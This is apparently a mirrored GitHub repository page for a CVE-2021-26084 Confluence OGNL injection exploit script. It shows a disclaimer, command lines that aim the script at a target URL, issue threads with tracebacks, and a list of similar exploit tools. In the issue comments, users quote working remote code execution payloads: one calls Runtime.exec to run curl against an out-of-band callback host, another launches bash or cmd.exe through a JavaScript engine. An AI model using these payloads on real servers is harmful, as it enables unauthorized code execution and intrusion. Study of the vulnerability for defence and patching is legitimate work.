Confluence Server Webwork OGNL injection

Fellipe Oliveira

Last update: Jan 6, 2023

Related tags

Security related resources CVE-2021-26084_Confluence

Overview

CVE-2021-26084 - Confluence Server Webwork OGNL injection

An OGNL injection vulnerability exists that would allow an authenticated user and in some instances unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.

IMPORTANT

This exploit is only intended to facilitate demonstrations of the vulnerability by researchers. I disapprove of illegal actions and take no responsibility for any malicious use of this script. The proof of concept demonstrated in this repository does not expose any hosts and was performed with permission.

• queryString param Request

Exploit Usage

Commands:

$ python3 Confluence_OGNLInjection.py -u http://xxxxx.com

or

$ python3 Confluence_OGNLInjection.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x

• Exploitation with Confluence_OGNLInjection.py

References:

https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html

https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

https://www.exploit-db.com/exploits/50243

Comments

TypeError: 'NoneType' object is not subscriptable

└─# python3 confluence_exploit.py -u https://confluence.contoso.com -p /pages/createpage-entervariables.action?SpaceKey=x
---------------------------------------------------------------
[-] Confluence Server Webwork OGNL injection
[-] CVE-2021-26084
[-] https://github.com/h3v0x
--------------------------------------------------------------- 

> id
Traceback (most recent call last):
  File "/root/confluence_exploit.py", line 62, in <module>
    cmdExec()
  File "/root/confluence_exploit.py", line 57, in cmdExec
    queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']
TypeError: 'NoneType' object is not subscriptable

opened by 0xabdi 3

not working, but another payload is ok

shell not work (empty input), but payload like: aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl <instance>.burpcollaborator.net\u0022)}%2b\u0027

work fine, why?

opened by foozzi 2
Fixing ident

File "/home/kali/Downloads/apktool/Confluence_OGNLInjection.py", line 20 import optparse from requests.packages import urllib3 ^ SyntaxError: invalid syntax

opened by zeroc00I 0
Error when running

Hi team, I run the command: $ python3 Confluence_OGNLInjection.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x Then used the id command and I got this as output: '''

id aaaaaaaa\u0027+{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var isWin = java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022); var cmd = new java.lang.String(\u0022id\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\u0022cmd.exe\u0022, \u0022/c\u0022, cmd); } else{p.command(\u0022bash\u0022, \u0022-c\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \u0022\u0022; var output = \u0022\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\u0027)}+\u0027

'''

How can I deal with this issue? Thank u

opened by khanhchauminh 1
traceback

hello please could you help me

[-] Confluence Server Webwork OGNL injection [-] CVE-2021-26084 [-] https://github.com/h3v0x

id Traceback (most recent call last): File "/root/CVE-2021-26084_Confluence/Confluence_OGNLInjection.py", line 72, in cmdExec() File "/root/CVE-2021-26084_Confluence/Confluence_OGNLInjection.py", line 67, in cmdExec queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value'] TypeError: 'NoneType' object is not subscriptable

opened by BroXEX 2

Owner

Fellipe Oliveira

just a wanderer...

GitHub

Confluence OGNL injection

CVE-2021-26084 Confluence OGNL injection CVE-2021-26084 is an Object-Graph Navigation Language (OGNL) injection vulnerability in the Atlassian Conflue

15 Sep 23, 2022

command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.

CVE-2021-36260 CVE-2021-36260 POC command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validatio

165 Dec 21, 2022

MongoDB-Injection - This challenge-script is custom-made for web-server running MongoDB which is vulnerable to No-SQL injection

MongoDB-Injection Cheesy Multi-threaded script for NoSQL Injection This challeng

2 Jun 6, 2022

CVE-2021-26084 Remote Code Execution on Confluence Servers

CVE-2021-26084 CVE-2021-26084 Remote Code Execution on Confluence Servers. Dork Fofa: app="ATLASSIAN-Confluence" Usage Show help information. python P

63 Dec 30, 2022

Automatic SQL injection and database takeover tool

sqlmap sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of

25.7k Jan 8, 2023

HatSploit native powerful payload generation and shellcode injection tool that provides support for common platforms and architectures.

HatVenom HatSploit native powerful payload generation and shellcode injection tool that provides support for common platforms and architectures. Featu

100 Dec 23, 2022

Pre-Auth Blind NoSQL Injection leading to Remote Code Execution in Rocket Chat 3.12.1

CVE-2021-22911 Pre-Auth Blind NoSQL Injection leading to Remote Code Execution in Rocket Chat 3.12.1 The getPasswordPolicy method is vulnerable to NoS

47 Nov 9, 2022

Argument Injection in Dragonfly Ruby Gem

CVE-2021-33564 PoC Exploit script for CVE-2021-33564 (Argument Injection in Dragonfly Ruby Gem). Usage Arbitrary File Read python3 poc.py -u https://<

12 Nov 9, 2022

WebScan is a web vulnerability Scanning tool, which scans sites for SQL injection and XSS vulnerabilities

WebScan is a web vulnerability Scanning tool, which scans sites for SQL injection and XSS vulnerabilities Which is a great tool for web pentesters. Coded in python3, CLI. WebScan is capable of scanning and detecting sql injection vulnerabilities across HTTP and HTTP sites.

12 Dec 2, 2022